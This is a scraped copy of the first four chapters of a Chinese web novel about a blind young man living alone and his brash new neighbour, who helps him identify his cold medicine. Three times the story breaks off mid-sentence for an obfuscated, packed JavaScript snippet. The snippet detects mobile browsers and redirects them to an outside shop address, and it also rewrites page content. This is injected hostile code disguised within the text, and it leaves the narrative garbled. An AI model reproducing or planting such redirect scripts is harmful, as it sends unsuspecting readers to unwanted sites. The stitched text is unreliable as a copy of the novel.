《住我隔壁的漂亮小瞎子》 1. 独居 《住我隔壁的漂亮小瞎子》文/璃言 202603 首发晋江文学城,谢绝转载。 - 尾椎骨骤然一阵剧痛,疼得温墨眼泪都出来了。 方才路过客厅窗台时,他不小心脚滑摔在了地上,这一下撞得不轻,疼得他缓了好一会儿,才喘息着扶墙起身,探手去摸窗框,将客厅的窗户关上。 昨天夜里下了一场暴雨,雨水和狂风从窗户灌进来,温墨睡到一半被冻醒,起身关了卧室的窗户,没想到忘了客厅,雨停后,地板上积了一摊水,致使他路过时摔倒。 同样的窗,在去洗手间的路上还有一个。 温墨扶着墙,小心翼翼地往前走,来到记忆中的窗户前,用脚探了探,地上果然同样有积水。 他绕过去,再次将窗户关上,接着找到抹布,摸索着将地上的积水擦得干干净净。 做完这些他才去客厅,从茶几下层找到跌打损伤的药油,撩起衣服,正准备揉揉刚刚摔疼的地方,门铃忽然响起,温墨起身先去开门。 “早上好,小墨。” 门打开,外面传来熟悉的女声。 “早上好,何意姐。”温墨对她笑了笑,看上去心情不错,那双没有神采的眼眸此刻浮上一丝笑意,唇角弯了弯,欢迎她进来。 女生名叫何意,是社区的志愿者,每周她都会定期上门探访社区的特殊人员。而温墨,是一名独居的盲人。 “你又摔倒了?伤到哪里没有?严重吗?”何意一进门,便闻到了客厅里刺鼻的药油气味,立马反应过来温墨的异样,担心地询问他。 温墨有些不好意思,挠了挠脸颊,微微发烫:“昨天晚上下雨,我忘记关窗,早上不小心滑倒了。” “没关系,不严重,涂药就好了。” “真的吗?我来看看。”何意忍不住念叨,“你自己一个人住要小心点,每天都要听天气预报,以后有下雨的天气我提醒你,对了,这几天会降温,你要小心感冒,多穿点衣服。” 她放下自己手中的超市购物袋,搀扶着温墨回到客厅的沙发上,“摔到哪里了,我帮你看看。” “……应该是摔到尾椎骨了。”温墨转过身,撩起自己的T恤。 一截白皙纤细的窄腰上,有大片的青紫痕迹,蔓延至尾椎,由此可见刚刚温墨摔得有多痛了。 “别用药油揉了,我去找点冰块来帮你冷敷。”何意说着,转身去冰箱里拿冰块,用两层毛巾包裹好递给温墨,让温墨自己拿着敷在疼痛的地方。 温墨乖乖照做,冰凉的毛巾碰到皮肤,他被刺激得小小地“嘶”了一声。 有点痛,还有点儿冰,温墨吸了吸鼻子。 何意说:“稍微忍忍。摔倒扭伤之类的,觉得疼都不要用药油揉,用冰块冷敷知道吗?就在冰箱的第二层,用毛巾包裹好之后,敷在受伤的地方。” “好。”温墨点头,“我记住了。” 温墨并不知道摔倒要冷敷,他的大部分生活常识都是来源于他的妈妈,以前他摔倒,妈妈都会用药油……温墨以前很少摔倒。 他是先天目盲,打从出生起,世界就是黑暗一片,他也习惯了在黑暗中摸索。 家里是他最熟悉的地方,每一个家具的摆放,他都熟记于心,哪怕不带意识,仅凭身体的本能,他都能畅通无阻,磕碰不到半点。 现在之所以总是摔倒,是因为温墨搬家了,这里不是他最熟悉的地方。 他暂时还做不到像以前那样。 “我之前跟你说过,给你家里垫点防撞条,这样撞到碰到都不会太疼,你又说太麻烦了不用。”不止腰上,何意还看见温墨身上有不少大大小小的痕迹,小腿,额头。估计都是这几天撞的。 她心疼中又忍不住数落:“你看,磕成这样。你知不知道你的脸有多好看?再磕下去都要毁容了!” 何意语气重了点,但是动作却十分轻柔。 一个卡通图案的创可贴贴在了温墨的脑门上。 何意:“就不知道痛吗?也不贴个创可贴,怎么弄伤的?” “不怎么痛啦。”温墨老老实实的,像个犯了错的孩子,问什么答什么,“撞桌角上了。” 正是因为不怎么痛,所以才没有管,不然他自己顺手就贴上了。 何意:“都刮伤了。” 温墨唔了一声。 “你自己说这周摔了几次。” “我还是得给你买点防撞条,把这些边边角角的地方包上,这样就算撞到了也不会受伤,你死活不让。” “何意姐,没有几次。”温墨被说得有些羞愧,“我真的不用。” 温墨当时觉得自己习惯了黑暗中的生活,这么多年都是这样过来的,肯定没有问题。 所以刚搬来的时候,他没有铺防滑垫和防撞条,那是小孩子才用的东西。 但实际情况是他高估了自己。 虽然生活起居全部都能自理,可独自一人来到陌生的环境,温墨才知道他以前真的被父母保护得太好了,以至于现在才知道,黑暗与黑暗之间,原来有很大的区别。 没办法,他只能跌跌撞撞地自己摸索,虽然经常摔到磕碰到,但到现在,他差不多已经摸清了,也不再需要防撞条和海绵。 今天是个意外。 温墨没有下雨要关窗的意识,以前这些事情都是由爸妈来帮他做,没有人教过他,他不了解,也不知道。 今天摔了一次,他记住了,以后就会记得每天看天气预报,在下雨前及时将窗户关上。 经验就是这样一点点地累积下来的。虽然有时候摔疼了也会觉得委屈想哭,但情绪过了也就没事了。 “好吧。”见他坚持,何意便也没再多说什么,起身去干正事了。 这次过来,除了看望温墨的生活之外,她还需要帮他将冰箱里面的过期食品清理,换上新鲜的食材。 盲人看不见,最麻烦的就是不知道食品的保质期,温墨曾经就因为喝到过期牛奶进过医院,所以社区才会安排志愿者一周一次上门帮忙。 另外温墨刚搬过来没有多久,对周边还不太熟悉,无法畅通无阻地从超市走到家里,志愿者暂时还需要帮忙采买日常用品和食材给他,顺便在家里简单打扫下卫生。 温墨大部分的事情都能自己做,打扫也只需要收拾他没有察觉到的地方,工作强度不算大。 “你吃早餐了吗?”何意提起购物袋才想起来这件事,从里面拿出一个煎饼果子递给他,“路上买的,还热着,要吃吗?” “哇,好香,谢谢你,何意姐。”温墨开心地接了过来,一手拿着冰敷的毛巾,一手吃着煎饼果子,何意则是在冰箱前忙活。 上个月买的鸡蛋现在还有一半多,温墨可能不太喜欢吃鸡蛋,每周都只消耗一两枚,何意不确定有没有坏的,干脆全部收起来,又将买来的食材按照保质期的先后顺序摆放在冰箱里。 温墨大部分生活起居都能自理,洗衣做饭什么都会,麻烦的只有每周帮他检查食材保质期,包括一些冷冻品。 何意整理了十几分钟后转头,看向沙发上的温墨。 温墨正在吃煎饼果子,低垂着眼,安静认真,小口小口地吃着,身形纤细单薄。 他年龄小,长得更是显小,巴掌大的脸,皮肤很白,眼睛乌黑水灵,只是可惜没有焦距,眼角下有颗小小的痣,很淡,要凑近了才能发现,像是晕在宣纸上的一滴淡墨。 乖乖坐着吃东西的模样总是让人忍不住幻视毛绒绒的幼猫,小小的一团,一边吃还一边吸鼻子,揉了揉,看着可爱又可怜。 ……温墨也确实是可爱又可怜。 天生失明,父母又因为意外去世,家里没有什么可靠的亲戚,只能独自一人生活。幸运的是家里还算是有点小钱,听说父母留下来的遗产不少,还有个在出租的大房子,每月收租有万把块,也算是个小富弟了,哪怕不工作,后半辈子也不用愁。 关于温墨的事情,何意多多少少听说了一点。 听说是一家三口出门旅游的时候,路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416143|200770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上不幸遇到车祸,大人当场去世,他自己也在医院里住了很久很久。 父母的身后事由亲戚和律师帮忙处理,对方也提议将他接过去一起住,但温墨拒绝了,出院后没多久从家里搬出来,住到了相对小点的房子里,重新开启新生活。 才那么小的孩子,看不见,失去亲人之后独自一人生活着。 他很坚强,但也很可怜。 何意微不可闻地叹了一口气,起身关上了冰箱门。 “何意姐,你整理完了吗?”失明的人相对来说听力会比常人更敏锐,温墨听见动静,朝那边“望”过去。 何意“嗯”了一声,回答他:“刚收拾好,这周的食材都帮你放到了冰箱里,半盒鸡蛋我拿走了,现在冰箱里的是新日期,零食放在厨房的零食筐,都是你喜欢吃的。” “好的。”温墨点头,“谢谢你啊,每周都要麻烦你一次。” 他诚挚地向对方表达感谢。 “这有什么,应该做的。”何意并没有放在心上。 冰箱收拾好后,她扫了一眼屋内,干净整洁,不需要打扫,便将垃圾袋全部换上了新的。 温墨不太好意思麻烦她做这些事,吃完早餐跟在她身后转悠:“这些我自己都能做,真的不用你帮我……” “没关系呀,顺手的事。”何意跟他聊天,“我听说你前天出门了?” “嗯?嗯。”温墨重重地点头。 “行,出门挺好的。整天待在家我都替你闷。”何意又问他,“你去了哪里?” “就去了小区附近的超市,认识一下路线,买了新的牙膏回来。”温墨回答她的话。 生活总是要向前看的,在对家里熟悉之后,温墨逐渐开始探索屋外的区域,认认周边的路,比如超市之类的地方。 他不能总是依赖别人的照顾。 上周出去了两趟,虽说路上遇到了一点挫折,但好在他还是知道了怎么走,以后不用再麻烦别人帮他采购食材,拎着一大袋东西过来。 “何意姐,以后不用帮我买生活用品了。”温墨说,“小区超市离得不远,我走过一遍,已经记住了,以后可以自己去。” “真的?那太好了。”何意也不推脱。 对于温墨这样的人群来说,把他们保护照顾得太过面面俱到也不好,还是得学会独当一面,除非一些无法解决的必要困难。 “我记得小区外面的超市要过个红绿灯,这个没问题吗?”何意问他,“需不需要我陪你出门几次?” “不用不用。”温墨见状连忙说,“周围的人都很好,会带我过红绿灯,没人的话等等就好了,放心好了,我不会独自过马路的。” 盲人看不见指示灯,这对他们来说是无法解决的困难,但好在大部分人都热情有爱心。 “我以前经常出门,我有经验,你别担心。” “那就好。”何意笑了笑。 闲聊间,何意已经将垃圾全部收完,差不多准备离开。 在走之前,她问温墨:“还有什么需要我帮忙的吗?” 温墨想了想,摇头:“没有了。” “好。”何意提着垃圾准备要离开了。 温墨走到门口送她:“何意姐,下周见。” “下周见。”何意笑了笑,“有什么事都可以给我打电话,没什么事也可以找我闲聊,一个人住很闷的。” “还有,这几天在降温,记得多穿点衣服,不要感冒了。”何意强调。 “嗯嗯,我知道了。”温墨应声,挥挥手,“何意姐,拜拜。” 送别何意,他关上门,屋内重归安静,除了自己的呼吸声外,听不到其他任何一点的声音。 温墨在原地站了好一会儿,低垂着眼,转身摸着墙壁回客厅,准备将刚刚冰敷的毛巾洗干净。 水龙头里流出冰凉的水,让他忍不住指尖抖了抖,快速搓洗之后,温墨拧干毛巾,挂在架子上,扶着墙壁往外走。 “阿嚏!” 他很突然地打了个喷嚏。 2. 坚强 “阿嚏!” 刚从医院出来的裴泽扬打了个喷嚏,身旁的人听见动静,转头看向他,幸灾乐祸道:“怎么,感冒了?” “没有。”裴泽扬的表情不怎么好,凌厉的眉骨压下,薄唇微抿,那双桀骜不驯的眼睛里满是不耐烦,“估计是有谁在骂我。” 朋友:“哦,那肯定是你爸妈。” 裴泽扬:“。” 听到对方这么说,裴泽扬本就难看的表情变得更加难看。 他现在最烦的就是听见爸妈两个字。 因为前段时间,他被他爸妈无情地从家里赶了出来。 半个月前,裴泽扬跟几个富二代去盘山公路飙车,出了点意外。 他摔断了一条腿,被120拉到医院。 刚从手术室出来,就被外面的爹妈劈头盖脸一顿骂,还挨了顿狠揍。 摔断腿,刚做完手术,两个耳光甩在他的脸上,一屋子医护都看着,裴泽扬一时气急,顶了两句嘴,他爹直接宣布跟他断绝关系,以后他是死是活,都跟家里没有任何关系,最好死外面拉倒,就当没生过他。 至此,他的父母便再也没有出现,裴泽扬也只接到了物业管家的电话,说是他妈禁止他住在她的房子里,并将他的东西全部打包扔了出来。 那些行李暂时寄放在物业管家那儿,对方问裴泽扬什么时候有时间去拿。 裴泽扬就这样被赶出了家门,信用卡之类的也全部被停了。 大少爷气得不行,还是个犟种来的,这辈子就没向任何人低过头。 断绝关系就断绝关系,谁求着他们了? 不就是被赶出家门,对他来说没有任何影响。 …… 裴泽扬也就是心情差点,丝毫没有悔过之心。 两人从医院出来后,他和朋友站在路边闲聊,大少爷靠墙拄拐,腿上还绑着厚重的石膏,看着挺狼狈,但丝毫不影响他往那儿一站,人高腿长身材好,跟个模特似的,吸引了不少人回头的目光。 虽然性格挺混还不服管教,但帅也是真帅,一米九的身高,身形高大挺拔,一头耀眼的金发下,眉眼冷冽,锋利桀骜,脖子上的张扬纹身衬得侧脸线条凌厉深邃,又酷又帅。 不看下半身包裹的厚重石膏,裴泽扬是那种极具有冲击性的帅。 “接下来啥打算啊。”朋友问他。 裴泽扬:“先回去把我的行李拿回来吧。” “行,后面呢。住学校?”他觉得裴泽扬一个富二代,被停了卡应该就跟被扼住了喉咙一样,啥招都没有了。 他想了想,“我倒是有个空房子。” 虽说脾气不好,但裴泽扬足够讲义气,所以他落难了,朋友也愿意帮他一把。 “不大,两室一厅,跟你以前住的豪宅比不了,但当个落脚处还行,肯定比你那四人间宿舍要好。” “行。”裴泽扬现在也不挑,“谢了。” “嗬。”对方听着挑了下眉,“难得从你嘴里听到谢这个字。行了,我喊了车,走吧,这看着马上要下雨了,您这腿上还绑着石膏呢,这可不兴打湿。” 两人说话间,天空开始飘起了小雨,头顶乌云蔽日,一看就是马上要来暴风雨的架势。 裴泽扬嗯了一声,拄着拐跟着上车。 - 刚刚那一下喷嚏来得猝不及防又很猛烈,温墨眼泪都流出来了,吸着鼻子去客厅,扯下一张纸巾擦了擦。 好像确实有点冷,该添衣服了。 温墨摸着墙壁往次卧走,准备将自己的外套和厚衣服找出来。 以前爸爸妈妈还在时候,妈妈很喜欢打扮温墨,然后跟他说他今天穿的是什么,被打扮成了什么样。 妈妈把这当成小爱好,温墨也很喜欢听她说,因此温墨的衣服特别特别多,多到需要足足一个房间才放得下,次卧差不多已经变成了他的衣帽间。 搬进来的时候,亲戚跟他说过,哪个衣柜里面放的是哪个季节的衣服,从门口往左边的方向,第三个柜子…… 温墨数过去,打开,摸了摸里面挂着的衣服,找到两件相对厚些的卫衣和外套,拿回到主卧,再将夏季的薄款一件件整理叠好,放回到夏季柜子里。 虽然一个人生活还不太熟练,但温墨做事有条理,家里也收拾得干净整洁。 穿上外套之后,他又走向洗衣机,从里面拿出昨天洗好的衣服,挂在阳台上。 晾晒完,也差不多该准备做饭了。 温墨从冰箱的冷冻层里找到一包拆开过的饺子,又从刚刚何意带过来的食材中,拿出土豆。 中午吃饺子和土豆丝。 温墨其实不会做饭,以前妈妈没教过他。 以前一家三口一起生活时,爸妈总觉得温墨现在还小,他们还能陪他很久,没必要太早学习这些。 但意外总是说来就来,被父母捧在手心里的小宝贝,现在就只能慢慢地,自己努力学习。 这个过程不算顺利,切菜,开火,翻炒,对他来说都很难很难。 可是做饭是一项生活技能,他不能一辈子吃外卖和泡面,多多少少也需要学会。 温墨今天切菜时又切到了手指。 骤然的疼痛袭来,他“嘶”了一声,立马用冷水冲洗,返回到客厅,找到创可贴,贴在自己的伤口上。动作行云流水,仿佛已经做过无数次。 独居的生活总是这样,会出现各种小挫折小意外,但好在温墨心态不错,处理好伤口继续去切菜,做饭,也准时在十二点吃上了午饭。 虽然不太擅长,但勉强能自给自足一日三餐,偶尔想改善伙食的时候,他会点外卖送到家。 温墨按照父母希望的那样,即使他们不在,也在努力学会过好自己的生活。 吃完午饭,温墨收拾干净厨房和餐厅,又开始在家里摸索起来。 家里的全貌他大概已经知道了,现在磕到摔到基本很少,之所以还在到处转悠,是因为从上个星期开始,他就一直在找一样东西。 温墨有一个妈妈做给他的长条玩偶,是五岁时的生日礼物,他的安抚阿贝贝。 搬家的时候,他特意放在了行李箱里,可现在却到处都找不着。 大概可能还在行李箱里没有拿出来,但行李箱被放在哪里了,他也不知道。 上周想起这个玩偶后,温墨就一直在寻找,却没有半点头绪。他原本打算等何意过来时帮他看看行李箱在哪里,结果刚刚忘记了…… 现在也不好意思再将人家重新叫过来,温墨只能自己继续摸索。 依旧是找遍了整个家都没有踪影,他叹了一口气……只能暂时先放下,等何意下周过来帮他了。 他现在有点儿累,需要午睡,行李箱的事情暂且放到一边。 温墨回到沙发上,盖上小毯子,很快睡了过去。 再次睁眼,他是被窗外的狂风骤雨吵醒的。 屋外雨势猛烈急促,雨点砸在玻璃上砰砰作响,狂风穿过窗框缝隙时尖锐的呼啸声,将温墨从香甜的午睡中惊醒,坐起了身。 他被吓得愣了好一会儿,目光涣散地往声音那边“望”了“望”,意识还没完全清醒过来。 发了会儿呆,温墨正要躺回去继续睡,忽然想起早上晾晒的衣服还在阳台上。 糟糕。 下这么大的雨,肯定全部打湿了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416144|200770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞌睡一瞬间消失得无影无踪,温墨立马起身,匆匆忙忙地跑向阳台。 刚打开门,他被暴风雨糊了一脸。 阳台没有封窗,外面的雨下得很大,衣架被吹得哗哗直响,衣服全部都掉在了地上,斗大的雨珠砸在他的脸上,痛得他脸都皱成了一团,迎着风雨在地上摸着捡衣服。 一二三四五件……都找到了。 温墨捡起来,扶着墙,小心翼翼地离开阳台,将门关得紧紧的。 只是衣服又脏了,早上才从洗衣机里拿出来,现在又得放进去,还加了两件。温墨去阳台一趟,身上被淋湿大片,换下来一块儿扔进洗衣机,又找了条干毛巾擦干。 做完这些,他觉得很累,扶着洗衣机叹了一口气,连做晚饭的力气都没有了,把自己塞进被窝里继续睡觉。 半夜不知道几点,他昏昏沉沉地醒来。 雨还在下,轰隆的雷声将他惊醒,窗外雨水密密麻麻地敲击在窗户上,温墨的心都好似跟着颤了下。 他睁开眼,忽然觉得嗓子刺痛得难受。 他对这样的感觉并不陌生。 每次感冒,最先出现症状的就是嗓子,接着是咳嗽,头痛,流鼻涕。 还好中途醒了,发现得足够早。及时吃药的话,应该不会发展到后面那样严重。 他现在得吃药。 温墨强撑着起身,摸着墙壁来到客厅,从下层翻出药箱,找到熟悉的感冒冲剂。 他拿着杯子,来到饮水机前。 100度的热水平时出水都会慢上三四秒,但今天不知道怎么回事,按一下立马出了热水。 温墨来不及躲开,热水淋到了手指,正好是他中午不小心切到的伤口。 他被烫得往回缩,带动水杯掉落在地上。 “啪”的一声,杯子掉落在地上打碎。 窗外电闪雷鸣,屋内一片狼藉,温墨静静地站了好一会儿。 没事的,没事。 慢慢来。 温墨安慰自己,半晌,他蹲下身,先小心翼翼地摸着周边,将地上的杯子碎片捡起来,再用抹布擦干地上的水渍。 收拾干净,他回到客厅,重新给自己的手指贴上创可贴,最后再拿着感冒冲剂回到饮水机前。 这次他比先前更加小心,也没有再出现意外。 他接好热水,双手捧着水杯,低下头,慢慢地,一点点地,将药全部喝完,再扶着家具和墙壁回到卧室。 这样应该就没事了,明天早上不会感冒。 温墨坐在床上,听着外面的雨声,过了好一会儿才躺下去。 白皙的脸颊陷在柔软的枕头里,温墨手往旁边摸了摸,似乎想要找什么,却什么都没有找到,这才后知后觉地想起来,他的玩偶还没有找到。 嗯……没关系,明天再找就好了,明天…… 一直以来,温墨都告诉自己,遇到再大的困难也不要难过,收拾好心情,他一个人也能将生活过好。 爸爸妈妈不会想看到他整天伤心难过,将日子过得一团糟的样子,更不会希望看见他被挫折打倒。 他要坚强。 坚强…… 呜。 没到摸到他的安抚小布偶,温墨在此刻忽然觉得好委屈,控制不住地呜咽出声。 手指被烫伤的地方很疼,他蜷缩着,将脸埋进枕头里,小声低泣。 没有人回应他的委屈与啜泣,父母还在世时,总是能敏感地察觉到他所有负面情绪,可是现在,这个房子里除了他,没有任何一个人。 好孤独,好难,好痛。 那些呜咽啜泣的声音,全部淹没在了瓢泼的大雨和雷鸣声中。 3. 帮忙 昨天晚上是哭着睡过去的,第二天醒来时,温墨的眼睛红肿干涩,难受得厉害,而且祸不单行,他的感冒还是加重了。 醒来时,喉咙的刺痛加剧,温墨脑袋昏沉,还伴随着咳嗽,流鼻涕的症状……他从床头扯了两张纸巾,坐起身揉了揉自己的鼻子。 唉。 温墨有点儿沮丧,但好在负面情绪没有跟着来到第二天。 昨天哭过一场后,积压在心底许久的委屈和孤独得到了释放,他的情绪好转不少,现在最多只是觉得很无奈而已。 以前父母总是夸他,稍微自己做点力所能及的事情,便能收获夸奖,夸他很棒很厉害,所以他一直对自己很有信心,也觉得自己是个很厉害很坚强的人,再大的困难也难不倒他。 但实际上,独自一人生活真的很难。尤其他从小又被保护得很好,被家人照顾得面面俱到,可现在不仅孤身一人,还得重新学习各项生活技能。 每一件事对他来说都很困难……总之,慢慢来吧,总会好起来的。 温墨调整好自己的心情,起床洗漱过后,他打开冰柜,从里面拿出几个冰块,用干燥的毛巾包裹住,放在眼睛上。 眼睛肿了要冰敷。 温墨按着冰敷的毛巾,裹着小毯子靠在沙发上。 他也没有什么胃口吃早餐,脑袋有些昏昏沉沉的。 昨天喝了感冒灵不管用,今天病情加重,得吃感冒药了。 温墨记得这件事,冷敷十分钟的闹钟响起,他将毛巾拿开,开始翻找感冒吃的药片。 家里有很多常用药,月初温墨因为受凉感冒,当时正好的社区的阿姨来看他,带他去社康开药。温墨记得那个药很管用,吃了之后睡一觉就好了,还剩下很多。 温墨在药盒里摸索,但摸到了几种同样的胶囊,他分不出来,对着药盒犯起了愁。 下次记得要买有分格的药箱,温墨生活经验又+1,但是他现在摸不出来正确的感冒药,不免有些泄气,肩膀都垮了下去,过了好几分钟才想起来可以找何意帮忙,又恢复斗志,连忙打电话给何意。 一连拨去两个电话都没有人接,温墨歪了歪脑袋,有些疑惑,但他也不急,而是拿着胶囊回到沙发上。 他披着小毯子,靠在沙发的一角坐好。 何意姐应该是有事在忙,没有看见。等她看见了,会回拨过来的。 温墨等待着电话,可半个小时过去,手机一丁点儿声音都没有,温墨也从一开始的端正坐姿,变成了歪歪扭扭地靠着。 “阿嚏!”又一连打了好几个喷嚏,他扯了面巾纸擦干,有些难受地抱着枕头,轻轻蹭了蹭柔软的沙发背。 白皙柔嫩的脸颊肉被蹭得挤成了一团,他用毯子把自己包裹得更紧。 好吧,可能是有很重要的事情,顾不上看手机,只能找其他办法了。 温墨已经在新家住了两个多月,周围的邻居多多少少认识几个,比如楼下的老奶奶……不过她最近好像去医院了,听说是照顾儿媳妇二胎,楼上是个上班族,工作日这个点估计不在,再上一层的阿姨好像是出门旅游……他的隔壁也没有住人。 数来数去,温墨在周边找不到人,好像就只能去找物业帮忙了。 外面的雨依旧没有停,路上也碰不到路人,物业离他这里大概三栋楼。 有点远,但避免感冒加重,也就只能走一趟了。 温墨咳嗽着起身,生病让他的脚步有些虚浮,人也蔫蔫的。他拖着毯子回到卧室,换了一身厚厚的卫衣和外套。 外面下着大雨,他其实不太愿意出门。 盲人出门本来就危险,更何况这种恶劣天气。可现在也没有其他办法,只能走路小心一点了。 温墨把自己裹得严严实实,换好鞋子后拿着盲杖准备出门。刚打开门,听见走廊有两个人在说话。 “还行吧两室一厅,将就一下呗,等你爸妈不生气了,再搬回少爷您的大豪宅。” “没指望这个。” “大少有骨气。”裴泽扬的朋友冲他竖起了大拇指。 裴泽扬懒得跟他贫。 “喊个家政过来帮你?”朋友问他。 “不用。”裴泽扬现在看见这堆东西就烦。他在他妈房子里住了三年,大大小小的箱子被丢出来十多个,全部堆在客厅,他压根也没有收拾的打算。 “过两天再说——” “你们好。”有些虚弱的,但却干净轻柔的声音忽然闯进了他们的对话中。 正在交谈的两人转头朝声音发出的地方看去,映入裴泽扬眼帘中的,是一个身形纤细单薄的少年。 裴泽扬先看见了这个瘦弱的身影,接着注意到他手上的盲杖,以及,握着盲杖的手。 ……好小的手掌,好细的手腕。 细弱伶仃的腕骨,从袖口伸出,撑起薄薄的,白皙的皮肤。几近透明的颜色,细如脉络的青筋轻轻颤动着。 裴泽扬觉得自己的视力是不是好得有点过头了,微微一怔,回神后目光上移。 和他们打招呼的少年转头轻咳了两声,面上明显是病体的苍白,咳完后淡色的唇瓣轻轻抿了抿,额前的发丝微微晃动。 发丝下,他的眼眸干净清澈,像是一池溪水,头顶声控灯的柔光落在他的瞳孔中。 光落在里面,便也停在里面,瞳眸处没有凝光,他的眼神也没有聚焦,虚虚地望着他们的方向。 这是一个盲人。 裴泽扬的目光顿了顿,视线从他脸上收回,但没两秒又望了过去。 受伤了。 额头上还有一个很可爱的创可贴。 这是一个带着孱弱病气的盲人,看上去脆弱无助,好像需要帮助。 裴泽扬心头有种说不出来的感觉,皱了下眉,问道:“怎么了。” “我想请你们帮个忙。”温墨试探着开口,见对方没有拒绝的意思,便朝着两人走过去,盲杖在地板上发出“哒哒哒”的声音,裴泽扬注视着他走过来,看见他将手伸进衣服口袋,从里面掏出五六个药盒。 “抱歉,我看不见,可以请你们帮我看看哪些是感冒药吗?” 话音落下,对面却没有人开口说话。 温墨疑惑,不解地歪了歪脑袋。 怎么了…… “好啊,我帮你看看。” 说话声响起的瞬间,手中的药盒被人抽走。 ——声音发出的是一个人,动作却是另外一个人。 裴泽扬比他的朋友快一步。 “这个。”一板药片被塞进了温墨的手心:“一日两次,一次两片。” “这个也是感冒药,一日两次,一次一粒,胶囊跟药片能分清吗?” “能的,能。”温墨连连点头。 裴泽扬嗯了一声,剩下的药盒他放在温墨的另外一只手中,将两者区分开来。 裴泽扬:“这些是治过敏,胃疼还有腹泻的药。” “哦,对对。”温墨听见后又跟着点头,“是我之前喝到过期牛奶,医生给我开的药。” “哇,你还喝过期牛奶,为什么?”旁边裴泽扬的朋友插嘴。 “……是因为不小心。”温墨有些难为情地低头。 身旁的人便立刻收获一个肘击。 看不见保质期所以喝到了过期牛奶,很难想到吗?还问。 朋友:“……” 靠,好痛。 温墨看不见他们之间发生了什么,自顾自地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416145|200770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从口袋里拿出冰箱贴。 他两只手都塞满了,有些费力地摸着药盒贴上去。 “你这是在干什么?”朋友被温墨的动作吸引,连痛都忘了。 “贴标识,这样下次就不用找别人帮忙了。”温墨告诉他。 暂时先这样贴着,等买了分格的药箱就好了。 裴泽扬垂眼,看着他的动作。 感冒药的盒子上贴了小猫的图案,胃药是胡萝卜,过敏药是面包,都是清晰好辨的图案。 盲人看不见,生活中不便的地方实在太多。 “哦——”裴泽扬的朋友长长地应了一声,又话很多地继续问,“你家里没有人帮你吗?” “……”温墨的手指顿了一下。 纤细漂亮的指尖停下,蜷了蜷又慢慢地伸开。 很小的动作。 “我独居。”温墨小声。 “谢谢你们啊。”贴好后,温墨向两人道谢。 这种天气,不用冒雨跑去物业让人帮他看药片,对温墨来说是一件很幸运的事情,也因此他对两人的感激之情更加浓厚,真心诚挚地表达自己的感谢之情:“你们真好,尤其是……” 温墨脑袋侧了侧,面向着裴泽扬的方向。 他看不见,但能从两人的说话声找到他们的站位。 “尤其是您。”温墨说:“谢谢您,您真好,是个大好人。” 生平第一次被发好人卡的裴泽扬:“。” 这种评价他真是第一次听。 不仅他觉得意外,就连他的朋友听到后都愣了好几秒,反应过来后锤着墙开始无声大笑。 哈哈哈哈,笑死了。 裴泽扬是好人。 他是说眼前这个染金发、搞纹身,飙车打架样样精通,半个月前跟人产生口角后,飙车摔断了一条腿、被亲爹妈赶出家门的裴泽扬看上去像好人吗?哈哈哈,就裴泽扬这样的,脸上就差写几个大字了: 老子很凶,很叛逆,很不好惹—— 大概是他笑得太过猖狂,没有声音都能感觉出来。裴泽扬皱了下眉,顺手就将人攮在了墙上,动作冷酷无情,丝毫不讲情面。 ……靠。 鼻子都差点被压扁。 “对,我是好人。”裴泽扬看着温墨,“以后你有什么事,你都可以找我。我就住在这里。” “你随时可以来找我。” “嗯?真的吗?”大概没想到对方会这样说,正准备告别的温墨顿时改变主意,想到了自己的安抚玩偶,看不见的眼睛里都有了一丝神采,“刚好我有个东西找不到,想让人帮我看看在哪里……” “好。”裴泽扬想都没想便答应下来,快得温墨都有些愣神,两三秒后才重新开口。 “可能被放在了比较高的地方,比如衣柜的顶上。” 这是温墨猜的。 因为家里到处都找不到行李箱,所以猜测放在了衣柜上。 大概还需要对方帮他拿。 温墨有点不好意思,他麻烦对方太多了,刚刚是因为太过高兴所以脱口而出,现在有点难为情,也许对方只是顺口一说…… “嗯,我很高。”裴泽扬先他一步开口,没有放在心上,只是告诉温墨,“我190。” 顿了顿。 “190.6。” 所以温墨家的柜子再高他也能拿到。 ……啊? 温墨愣了愣,轻轻地啊了声,嘴唇微微张开,似乎不太明白这个具体到小数点的身高是什么意思。 裴泽扬的朋友也特么不是很明白,看他的表情像在看傻子。 不是,兄弟。 你摔断腿昨天才出院你知道吗?你现在又准备干什么?! 4. 热心 朋友看向裴泽扬的目光很复杂,但裴泽扬压根不在意他,连个眼神都没有给他,目光只在面前茫然的,呆愣愣的小可怜邻居身上。 “啊……那、那您确实很高。”不知道对方是什么意思,温墨只能表达对他身高的赞叹。 他才173,裴泽扬的身高对他来说真的很惊讶……怪不得觉得说话声是从头顶传来的。 